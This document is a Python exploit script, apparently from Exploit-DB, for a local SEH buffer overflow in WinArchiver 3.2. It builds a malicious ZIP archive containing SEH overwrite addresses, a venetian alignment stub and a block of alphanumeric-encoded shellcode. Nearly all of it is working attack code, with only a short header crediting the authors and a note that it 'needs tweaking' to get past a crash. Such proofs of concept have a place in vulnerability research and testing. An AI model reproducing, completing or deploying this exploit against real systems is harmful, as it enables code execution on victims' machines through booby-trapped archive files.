WinArchiver 3.2 – Local Buffer Overflow (SEH)
#/usr/bin/python # Exploit Title: Winarchiver V 3.2 SEH Overflow # Date: April 24, 2013 # Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon # Organization: RealPentesting # Vendor Homepage: http://winarchiver.com # Software Link: http://www.winarchiver.com/WinArchiver3.exe # Version: 3.2 # Tested on: Windows XP SP3 # Exploit-DB Note: # This submission needs tweaking but a crash does occur zip_header = ( "\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4" "\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65" "\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20" "\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00" "\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00" "\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00" "\x00\x00\x00" ) zip_final=( "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00" "\x00\x35\x00\x00\x00\x00\x00" ) seh = "\x31\x48" #ppr 0x00480031 nextseh = "\x58\x70" venetian = ( "\x55\x55" "\x70" "\x58" "\x70" "\x05\x25\x11" "\x55" "\x2d\x19\x11" "\x55" "\x50" "\x55" "\xc7" ) shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" ) buffer = "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close() |